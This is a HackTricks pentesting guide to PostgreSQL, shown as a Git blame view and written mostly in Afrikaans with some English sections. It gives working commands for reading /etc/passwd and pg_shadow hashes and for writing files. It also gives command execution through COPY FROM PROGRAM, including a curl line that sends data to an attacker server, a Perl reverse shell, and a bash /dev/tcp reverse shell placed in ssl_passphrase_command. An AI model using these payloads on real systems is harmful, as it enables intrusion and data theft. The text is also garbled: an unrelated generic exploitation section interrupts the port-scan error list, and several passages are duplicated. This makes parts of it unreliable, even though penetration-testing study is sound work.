hacktricks/network-services-pentesting/pentesting-postgresql.md

894 lines
42 KiB
Markdown
Raw Normal View History

2022-05-01 13:25:53 +00:00
# 5432,5433 - Pentesting Postgresql
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
2024-02-11 02:07:06 +00:00
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en outomatiese werkstrome te bou met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.\
Kry vandag toegang:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2024-01-03 10:42:55 +00:00
2024-02-11 02:07:06 +00:00
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 02:07:06 +00:00
## **Basiese Inligting**
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
**PostgreSQL** word beskryf as 'n **objek-verwantskaplike databasisstelsel** wat **oopbron** is. Hierdie stelsel maak nie net gebruik van die SQL-taal nie, maar verbeter dit ook met addisionele funksies. Sy vermoëns stel dit in staat om 'n wye verskeidenheid data-tipes en operasies te hanteer, wat dit 'n veelsydige keuse maak vir ontwikkelaars en organisasies.
2024-02-11 02:07:06 +00:00
**Verstekpoort:** 5432, en as hierdie poort reeds in gebruik is, lyk dit asof postgresql die volgende poort (waarskynlik 5433) sal gebruik wat nie in gebruik is nie.
2021-11-12 01:11:08 +00:00
```
PORT STATE SERVICE
5432/tcp open pgsql
```
2024-02-11 02:07:06 +00:00
## Koppel & Basiese Enum
### Connect
Om te begin, moet jy 'n verbinding maak met die PostgreSQL-diens. Jy kan dit doen deur die `psql`-opdrag te gebruik:
```bash
psql -h <host> -p <port> -U <username> -d <database>
```
2024-02-11 02:07:06 +00:00
Vervang `<host>` met die IP-adres of die DNS-naam van die PostgreSQL-diens, `<port>` met die poortnommer (standaard is 5432), `<username>` met die gebruikersnaam en `<database>` met die databasenaam.
2024-02-11 02:07:06 +00:00
As jy suksesvol gekoppel het, sal jy 'n `psql`-opdraglyn sien wat aandui dat jy met die PostgreSQL-diens geassosieer is.
### Basiese Enumerasie
Nadat jy suksesvol gekoppel het, kan jy begin met basiese enumerasie van die PostgreSQL-diens. Hier is 'n paar nuttige opdragte:
- `\l`: Lys alle databasisse in die PostgreSQL-diens.
- `\dt`: Lys alle tabelle in die huidige databasis.
- `\du`: Lys alle gebruikers in die PostgreSQL-diens.
- `\dp`: Lys die toegangsregte vir die tabelle in die huidige databasis.
Hierdie opdragte sal jou help om 'n beter begrip van die PostgreSQL-diens te kry en om potensiële aanvalsoppervlaktes te identifiseer.
```bash
psql -U <myuser> # Open psql console with user
2021-08-28 16:44:35 +00:00
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
```
```sql
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles
2022-10-07 12:55:24 +00:00
# Get current user
SELECT user;
# Get current database
SELECT current_catalog;
2022-10-07 15:38:50 +00:00
# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+
#List databases
SELECT datname FROM pg_database;
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
2022-11-03 13:30:00 +00:00
# Get languages
SELECT lanname,lanacl FROM pg_language;
2022-10-08 16:35:25 +00:00
2022-11-03 18:57:14 +00:00
# Show installed extensions
2022-11-03 13:30:00 +00:00
SHOW rds.extensions;
SELECT * FROM pg_extension;
2022-11-08 23:13:00 +00:00
# Get history of commands executed
\s
2022-10-07 12:55:24 +00:00
```
{% hint style="warning" %}
2024-02-11 02:07:06 +00:00
As jy **`\list`** uitvoer en 'n databasis met die naam **`rdsadmin`** vind, weet jy dat jy binne 'n **AWS postgresql databasis** is.
{% endhint %}
2024-02-11 02:07:06 +00:00
Vir meer inligting oor **hoe om 'n PostgreSQL databasis te misbruik**, kyk:
2022-10-07 12:55:24 +00:00
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %}
[postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/)
{% endcontent-ref %}
2024-02-11 02:07:06 +00:00
## Outomatiese Enumerasie
2022-10-07 12:55:24 +00:00
```
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
```
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#postgresql)
2024-02-11 02:07:06 +00:00
### **Poortskandering**
2022-11-08 23:13:00 +00:00
2024-02-11 02:07:06 +00:00
Volgens [**hierdie navorsing**](https://www.exploit-db.com/papers/13084), gooi `dblink` 'n `sqlclient_unable_to_establish_sqlconnection`-uitsondering wanneer 'n verbindingspoging misluk, met 'n verduideliking van die fout. Voorbeelde van hierdie besonderhede word hieronder gelys.
2022-11-08 23:13:00 +00:00
```sql
SELECT * FROM dblink_connect('host=1.2.3.4
2024-02-11 02:07:06 +00:00
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
2022-11-08 23:13:00 +00:00
```
2024-02-11 02:07:06 +00:00
* Gasheer is af
2022-11-08 23:13:00 +00:00
2024-02-11 02:07:06 +00:00
`DETAIL: kon nie aan die bediener koppel: Geen roete na gasheer. Is die bediener aan die gang op gasheer "1.2.3.4" en aanvaar dit TCP/IP-koppelinge op poort 5678?`
2022-11-08 23:13:00 +00:00
2024-02-11 02:07:06 +00:00
* Poort is toe
2022-11-08 23:13:00 +00:00
```
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
2024-02-11 02:07:06 +00:00
* Poort is oop
2022-11-08 23:13:00 +00:00
```
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
```
2024-02-11 02:07:06 +00:00
of
2022-11-08 23:13:00 +00:00
2024-02-11 02:07:06 +00:00
---
2022-11-08 23:13:00 +00:00
2024-02-11 02:07:06 +00:00
### PostgreSQL
#### Enumeration
##### Version
To obtain the version of the PostgreSQL server, you can use the following SQL query:
```sql
SELECT version();
2022-11-08 23:13:00 +00:00
```
2024-02-11 02:07:06 +00:00
##### List Databases
To list all the databases in the PostgreSQL server, you can use the following SQL query:
```sql
SELECT datname FROM pg_database;
```
##### List Users
To list all the users in the PostgreSQL server, you can use the following SQL query:
```sql
SELECT usename FROM pg_user;
```
##### List Tables
To list all the tables in a specific database, you can use the following SQL query:
```sql
SELECT table_name FROM information_schema.tables WHERE table_schema = 'public';
```
##### List Columns
To list all the columns in a specific table, you can use the following SQL query:
```sql
SELECT column_name FROM information_schema.columns WHERE table_name = 'table_name';
```
##### List Functions
To list all the functions in a specific database, you can use the following SQL query:
```sql
SELECT proname FROM pg_proc;
```
##### List Triggers
To list all the triggers in a specific database, you can use the following SQL query:
```sql
SELECT tgname FROM pg_trigger;
```
##### List Views
To list all the views in a specific database, you can use the following SQL query:
```sql
SELECT viewname FROM pg_views;
```
##### List Indexes
To list all the indexes in a specific database, you can use the following SQL query:
```sql
SELECT indexname FROM pg_indexes;
```
##### List Constraints
To list all the constraints in a specific database, you can use the following SQL query:
```sql
SELECT conname FROM pg_constraint;
```
##### List Extensions
To list all the extensions in a specific database, you can use the following SQL query:
```sql
SELECT extname FROM pg_extension;
2022-11-08 23:13:00 +00:00
```
2024-02-11 02:07:06 +00:00
#### Exploitation
##### Default Credentials
PostgreSQL does not have default credentials. However, it is common for users to set weak or easily guessable passwords. Therefore, it is recommended to perform password guessing attacks using tools like Hydra or Medusa.
##### SQL Injection
PostgreSQL is vulnerable to SQL injection attacks. You can exploit this vulnerability by injecting malicious SQL queries into user input fields or by manipulating the SQL queries sent to the server.
##### Privilege Escalation
To escalate privileges in PostgreSQL, you can try the following techniques:
- Exploiting misconfigured permissions: Check if any user has excessive privileges or if there are any misconfigured roles.
- Exploiting vulnerabilities: Look for known vulnerabilities in the version of PostgreSQL being used.
- Exploiting weak passwords: Try to crack weak passwords or use password reuse attacks.
##### Remote Code Execution
To achieve remote code execution in PostgreSQL, you can try the following techniques:
2022-11-08 23:13:00 +00:00
2024-02-11 02:07:06 +00:00
- Exploiting SQL injection vulnerabilities: Inject malicious SQL queries that execute arbitrary commands on the server.
- Exploiting command execution vulnerabilities: Look for vulnerabilities that allow executing commands on the underlying operating system.
##### Data Exfiltration
To exfiltrate data from a PostgreSQL server, you can use techniques such as:
- Dumping the database: Use the `pg_dump` command to create a backup of the entire database.
- Extracting specific data: Write SQL queries to extract specific data from the database and save it to a file or send it to a remote server.
##### Password Cracking
If you have obtained a password hash from the PostgreSQL server, you can try to crack it using tools like John the Ripper or Hashcat.
##### Post-Exploitation
After gaining access to a PostgreSQL server, you can perform various post-exploitation activities, such as:
- Privilege escalation: Look for ways to escalate privileges within the server or the underlying operating system.
- Persistence: Install backdoors or create new user accounts to maintain access to the server.
- Data manipulation: Modify or delete data in the database.
- Covering tracks: Delete logs or modify timestamps to hide your activities.
```
DETAIL: FATAL: password authentication failed for user "name"
```
* Poort is oop of gefiltreer
2022-11-08 23:13:00 +00:00
```
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
2024-02-11 02:07:06 +00:00
In PL/pgSQL funksies is dit tans nie moontlik om uitsonderingsbesonderhede te verkry nie. As jy egter direkte toegang tot die PostgreSQL-bediener het, kan jy die nodige inligting herwin. As dit nie haalbaar is om gebruikersname en wagwoorde uit die stelseltabelle te onttrek nie, kan jy oorweeg om die woordelys-aanvalsmetode te gebruik wat bespreek is in die vorige afdeling, aangesien dit moontlik positiewe resultate kan oplewer.
2022-11-08 23:13:00 +00:00
2024-02-11 02:07:06 +00:00
## Opname van Voorregte
2022-10-07 12:55:24 +00:00
2024-02-11 02:07:06 +00:00
### Rolle
2022-10-07 12:55:24 +00:00
2024-02-11 02:07:06 +00:00
| Rol Tipes | |
2022-10-07 12:55:24 +00:00
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
2024-02-11 02:07:06 +00:00
| rolsuper | Rol het supergebruiker-voorregte |
| rolinherit | Rol erf outomaties voorregte van rolle waarvan dit 'n lid is |
| rolcreaterole | Rol kan meer rolle skep |
| rolcreatedb | Rol kan databasisse skep |
| rolcanlogin | Rol kan inteken. Dit beteken dat hierdie rol as die aanvanklike sessie-outorisasie-identifiseerder gegee kan word |
| rolreplication | Rol is 'n replikasie-rol. 'n Replikasie-rol kan replikasieverbindinge inisieer en replikasiegleuwe skep en laat val |
| rolconnlimit | Vir rolle wat kan inteken, stel dit die maksimum aantal gelyktydige verbindings in wat hierdie rol kan maak. -1 beteken geen limiet nie |
| rolpassword | Nie die wagwoord (lees altyd as `********`) |
| rolvaliduntil | Wagwoord vervaltyd (slegs gebruik vir wagwoord-verifikasie); nul indien geen vervaltyd |
| rolbypassrls | Rol omseil elke ryvlak-sekuriteitsbeleid, sien [Afdeling 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) vir meer inligting. |
| rolconfig | Rol-spesifieke verstekwaardes vir uitvoertyd-konfigurasie-veranderlikes |
| oid | ID van rol |
#### Interessante Groepe
* As jy 'n lid is van **`pg_execute_server_program`** kan jy **programme uitvoer**
* As jy 'n lid is van **`pg_read_server_files`** kan jy **lêers lees**
* As jy 'n lid is van **`pg_write_server_files`** kan jy **lêers skryf**
2022-10-07 12:55:24 +00:00
{% hint style="info" %}
2024-02-11 02:07:06 +00:00
Let daarop dat in Postgres 'n **gebruiker**, 'n **groep** en 'n **rol** dieselfde is. Dit hang net af van **hoe jy dit gebruik** en of jy dit toelaat om in te teken.
2022-10-07 12:55:24 +00:00
{% endhint %}
```sql
# Get users roles
\du
#Get users roles & groups
# r.rolpassword
# r.rolconfig,
2024-02-11 02:07:06 +00:00
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
2022-10-07 12:55:24 +00:00
# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');
# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
2022-10-08 16:35:25 +00:00
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
2024-02-11 02:07:06 +00:00
## You will probably get this error:
2022-10-07 12:55:24 +00:00
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
```
2024-02-11 02:07:06 +00:00
### Tabelle
In PostgreSQL, tables are used to store data in a structured manner. Each table consists of columns and rows, where columns represent the different attributes or fields of the data, and rows represent individual records or instances of the data.
To create a table in PostgreSQL, you can use the `CREATE TABLE` statement followed by the table name and the column definitions. The column definitions specify the name, data type, and any constraints for each column.
Here is an example of creating a table called `users` with three columns: `id`, `name`, and `email`:
```sql
CREATE TABLE users (
id SERIAL PRIMARY KEY,
name VARCHAR(50) NOT NULL,
email VARCHAR(100) UNIQUE
);
```
In this example, the `id` column is defined as a `SERIAL` data type, which automatically generates a unique value for each new row. The `PRIMARY KEY` constraint ensures that the `id` column is unique and serves as the primary key for the table.
The `name` column is defined as a `VARCHAR(50)` data type, which can store up to 50 characters. The `NOT NULL` constraint ensures that the `name` column cannot be empty.
The `email` column is defined as a `VARCHAR(100)` data type and has a `UNIQUE` constraint, which ensures that each email address in the table is unique.
Once the table is created, you can insert data into it using the `INSERT INTO` statement, query the data using the `SELECT` statement, update the data using the `UPDATE` statement, and delete the data using the `DELETE` statement.
To view the structure of a table, you can use the `\d` command in the PostgreSQL command-line interface. For example, `\d users` will display the column names, data types, and constraints of the `users` table.
```sql
\d users
```
2024-02-11 02:07:06 +00:00
This will show the following output:
```
Table "public.users"
Column | Type | Modifiers
--------+-----------------------+-----------
id | integer | not null
name | character varying(50) | not null
email | character varying(100)|
Indexes:
"users_pkey" PRIMARY KEY, btree (id)
"users_email_key" UNIQUE CONSTRAINT, btree (email)
```
2022-08-31 22:35:39 +00:00
2024-02-11 02:07:06 +00:00
This output provides information about the columns, their data types, and any constraints or indexes associated with the table.
2022-10-07 12:55:24 +00:00
```sql
# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
2022-08-31 22:35:39 +00:00
2022-10-07 12:55:24 +00:00
# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
2022-08-31 22:35:39 +00:00
2022-10-07 12:55:24 +00:00
#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
2022-10-07 14:00:19 +00:00
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
2022-10-07 12:55:24 +00:00
```
2024-02-11 02:07:06 +00:00
### Funksies
Functions in PostgreSQL are named blocks of code that can be executed by calling their name. They are used to perform specific tasks and can accept parameters and return values. Functions can be created using the `CREATE FUNCTION` statement and can be written in various programming languages such as SQL, PL/pgSQL, Python, etc.
Funksies in PostgreSQL is benoemde blokke kode wat uitgevoer kan word deur hul naam te roep. Hulle word gebruik om spesifieke take uit te voer en kan parameters aanvaar en waardes teruggee. Funksies kan geskep word deur die `CREATE FUNCTION` verklaring te gebruik en kan geskryf word in verskeie programmeer tale soos SQL, PL/pgSQL, Python, ens.
#### Creating Functions
#### Funksies Skep
To create a function in PostgreSQL, you can use the `CREATE FUNCTION` statement followed by the function name, input parameters (if any), return type, and the code block enclosed in a `BEGIN` and `END` block. Here is the syntax:
Om 'n funksie in PostgreSQL te skep, kan jy die `CREATE FUNCTION` verklaring gebruik gevolg deur die funksie naam, insetparameters (indien enige), terugkeer tipe, en die kodeblok wat ingesluit is in 'n `BEGIN` en `END` blok. Hier is die sintaksis:
```sql
CREATE FUNCTION function_name (input_parameters)
RETURNS return_type
LANGUAGE language_name
AS $$
-- Function code here
$$;
```
#### Calling Functions
#### Funksies Roep
Once a function is created, it can be called using the `SELECT` statement or as part of another SQL statement. To call a function, you need to specify the function name followed by the input parameters (if any) enclosed in parentheses. Here is an example:
Sodra 'n funksie geskep is, kan dit geroep word deur die `SELECT` verklaring te gebruik of as deel van 'n ander SQL-verklaring. Om 'n funksie te roep, moet jy die funksie naam spesifiseer gevolg deur die insetparameters (indien enige) wat ingesluit is in hakies. Hier is 'n voorbeeld:
```sql
SELECT function_name(input_parameters);
```
#### Returning Values
#### Waardes Teruggee
Functions in PostgreSQL can return values using the `RETURN` statement. The return type of the function should match the specified return type in the function definition. Here is an example of a function that returns an integer:
Funksies in PostgreSQL kan waardes teruggee deur die `RETURN` verklaring te gebruik. Die terugkeer tipe van die funksie moet ooreenstem met die gespesifiseerde terugkeer tipe in die funksie definisie. Hier is 'n voorbeeld van 'n funksie wat 'n heelgetal teruggee:
```sql
CREATE FUNCTION add_numbers(a integer, b integer)
RETURNS integer
AS $$
BEGIN
RETURN a + b;
END;
$$;
SELECT add_numbers(5, 10); -- Returns 15
```
2022-10-07 12:55:24 +00:00
2024-02-11 02:07:06 +00:00
#### Conclusion
2024-02-11 02:07:06 +00:00
#### Gevolgtrekking
Functions in PostgreSQL are powerful tools that allow you to encapsulate reusable code and perform specific tasks. By creating and calling functions, you can enhance the functionality and flexibility of your PostgreSQL database.
Funksies in PostgreSQL is kragtige hulpmiddels wat jou in staat stel om herbruikbare kode te inkapsuleer en spesifieke take uit te voer. Deur funksies te skep en te roep, kan jy die funksionaliteit en buigsaamheid van jou PostgreSQL databasis verbeter.
2022-10-07 14:00:19 +00:00
```sql
2022-10-07 15:38:50 +00:00
# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
2022-10-07 14:00:19 +00:00
\df+ pg_read_binary_file #Check who has access
2022-10-07 15:38:50 +00:00
# Get all functions of a schema
\df pg_catalog.*
# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
2024-02-11 02:07:06 +00:00
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
2022-10-07 15:38:50 +00:00
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;
2022-11-08 21:47:24 +00:00
# Another aparent option
SELECT * FROM pg_proc;
```
2024-02-11 02:07:06 +00:00
## Lêerstelsel aksies
2022-11-08 21:47:24 +00:00
2024-02-11 02:07:06 +00:00
### Lees gidslys en lêers
2022-12-20 18:10:20 +00:00
2024-02-11 02:07:06 +00:00
Vanaf hierdie [**commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) kan lede van die gedefinieerde **`DEFAULT_ROLE_READ_SERVER_FILES`** groep (genaamd **`pg_read_server_files`**) en **supergebruikers** die **`COPY`** metode gebruik op enige pad (kyk na `convert_and_check_filename` in `genfile.c`):
2022-12-20 18:10:20 +00:00
```sql
# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;
```
{% hint style="warning" %}
2024-02-11 02:07:06 +00:00
Onthou dat as jy nie 'n supergebruiker is nie, maar die **CREATEROLE**-permissies het, kan jy **jouself lid van daardie groep maak:**
2022-12-20 18:10:20 +00:00
```sql
GRANT pg_read_server_files TO username;
```
2024-02-11 02:07:06 +00:00
[**Meer inligting.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
2022-12-20 18:10:20 +00:00
{% endhint %}
2024-02-11 02:07:06 +00:00
Daar is **ander postgres funksies** wat gebruik kan word om **lêers te lees of 'n gids te lys**. Slegs **supergebruikers** en **gebruikers met uitdruklike toestemmings** kan dit gebruik:
2022-12-20 18:10:20 +00:00
```sql
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission
select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');
# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file
# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation
```
2024-02-11 02:07:06 +00:00
Jy kan **meer funksies** vind by [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)
2022-12-20 18:10:20 +00:00
2024-02-11 02:07:06 +00:00
### Eenvoudige Lêerskryf
2022-12-20 18:10:20 +00:00
2024-02-11 02:07:06 +00:00
Slegs **super gebruikers** en lede van **`pg_write_server_files`** kan `copy` gebruik om lêers te skryf.
2022-12-20 18:10:20 +00:00
{% code overflow="wrap" %}
2022-12-20 18:10:20 +00:00
```sql
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
```
{% endcode %}
2022-12-20 18:10:20 +00:00
{% hint style="warning" %}
2024-02-11 02:07:06 +00:00
Onthou dat as jy nie 'n supergebruiker is nie, maar die **`CREATEROLE`**-regte het, kan jy **jouself lid van daardie groep maak:**
2022-12-20 18:10:20 +00:00
```sql
GRANT pg_write_server_files TO username;
```
2024-02-11 02:07:06 +00:00
[**Meer inligting.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
2022-12-20 18:10:20 +00:00
{% endhint %}
2024-02-11 02:07:06 +00:00
Onthou dat COPY geen newline karakters kan hanteer nie, daarom moet jy selfs as jy 'n base64 payload gebruik, 'n eenreëler stuur. 'n Baie belangrike beperking van hierdie tegniek is dat `copy` nie gebruik kan word om binêre lêers te skryf nie, omdat dit sommige binêre waardes wysig.
2022-12-20 18:10:20 +00:00
2024-02-11 02:07:06 +00:00
### **Oplaai van binêre lêers**
2022-12-20 18:10:20 +00:00
2024-02-11 02:07:06 +00:00
Daar is egter **ander tegnieke om groot binêre lêers op te laai:**
2022-12-20 18:10:20 +00:00
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %}
[big-binary-files-upload-postgresql.md](../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md)
{% endcontent-ref %}
## <img src="../.gitbook/assets/i3.png" alt="" data-size="original">
2024-02-11 02:07:06 +00:00
**Bug bounty wenk**: **Teken aan** vir **Intigriti**, 'n premium **bug bounty platform wat deur hackers geskep is, vir hackers!** Sluit vandag nog by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) en begin om belonings tot **$100,000** te verdien!
2022-12-20 18:10:20 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
## RCE
2024-02-11 02:07:06 +00:00
### **RCE na program**
2022-12-20 18:10:20 +00:00
2024-02-11 02:07:06 +00:00
Sedert [weergawe 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html) kan slegs **supergebruikers** en lede van die groep **`pg_execute_server_program`** copy gebruik vir RCE (voorbeeld met eksfiltrering:
2022-12-20 18:10:20 +00:00
```sql
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
```
2024-02-11 02:07:06 +00:00
Voorbeeld om uit te voer:
2022-12-20 18:10:20 +00:00
```bash
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
```
{% hint style="warning" %}
2024-02-11 02:07:06 +00:00
Onthou dat as jy nie 'n supergebruiker is nie, maar die **`CREATEROLE`**-regte het, kan jy **jouself lid van daardie groep maak:**
2022-12-20 18:10:20 +00:00
```sql
GRANT pg_execute_server_program TO username;
```
2024-02-11 02:07:06 +00:00
[**Meer inligting.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
2022-12-20 18:10:20 +00:00
{% endhint %}
2024-02-11 02:07:06 +00:00
Of gebruik die `multi/postgres/postgres_copy_from_program_cmd_exec` module van **metasploit**.\
Meer inligting oor hierdie kwesbaarheid [**hier**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Terwyl dit as CVE-2019-9193 aangemeld is, het Postges verklaar dat dit 'n [kenmerk is en nie reggemaak sal word nie](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
2022-12-20 18:10:20 +00:00
2024-02-11 02:07:06 +00:00
### RCE met PostgreSQL-tale
2022-12-20 18:10:20 +00:00
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %}
[rce-with-postgresql-languages.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md)
{% endcontent-ref %}
2024-02-11 02:07:06 +00:00
### RCE met PostgreSQL-uitbreidings
2022-12-20 18:10:20 +00:00
2024-02-11 02:07:06 +00:00
Sodra jy **geleer** het van die vorige pos **hoe om binêre lêers op te laai**, kan jy probeer om **RCE te verkry deur 'n postgresql-uitbreiding op te laai en dit te laai**.
2022-12-20 18:10:20 +00:00
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %}
[rce-with-postgresql-extensions.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
{% endcontent-ref %}
2024-02-11 02:07:06 +00:00
### PostgreSQL-konfigurasie-lêer RCE
2022-12-20 18:10:20 +00:00
2024-02-11 02:07:06 +00:00
Die **konfigurasie-lêer** van postgresql is **skryfbaar** deur die **postgres-gebruiker** wat die databasis laat loop, sodat jy as **supergebruiker** lêers in die lêersisteem kan skryf, en dus kan jy **hierdie lêer oorskryf**.
2022-12-20 18:10:20 +00:00
![](<../.gitbook/assets/image (303).png>)
2024-02-11 02:07:06 +00:00
#### **RCE met ssl\_passphrase\_command**
2024-02-11 02:07:06 +00:00
Meer inligting [oor hierdie tegniek hier](https://pulsesecurity.co.nz/articles/postgres-sqli).
2024-02-08 21:36:15 +00:00
2024-02-11 02:07:06 +00:00
Die konfigurasie-lêer het 'n paar interessante eienskappe wat kan lei tot RCE:
2022-12-20 18:10:20 +00:00
2024-02-11 02:07:06 +00:00
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Pad na die privaatsleutel van die databasis
* `ssl_passphrase_command = ''` As die privaat lêer deur 'n wagwoord beskerm word (gekripteer), sal postgresql die opdrag uitvoer wat in hierdie eienskap aangedui word.
* `ssl_passphrase_command_supports_reload = off` **As** hierdie eienskap **aan** is, sal die **opdrag** uitgevoer word as die sleutel deur 'n wagwoord beskerm word wanneer `pg_reload_conf()` **uitgevoer** word.
2022-12-20 18:10:20 +00:00
2024-02-11 02:07:06 +00:00
Dan sal 'n aanvaller nodig hê om:
2022-12-20 18:10:20 +00:00
2024-02-11 02:07:06 +00:00
1. **Dump privaatsleutel** van die bediener
2. **Versleutel** afgelaai privaatsleutel:
1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
3. **Oorskryf**
4. **Dump** die huidige postgresql-**konfigurasie**
5. **Oorskryf** die **konfigurasie** met die genoemde eienskappe-konfigurasie:
1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
2. `ssl_passphrase_command_supports_reload = on`
6. Voer `pg_reload_conf()` uit
2022-12-20 18:10:20 +00:00
2024-02-11 02:07:06 +00:00
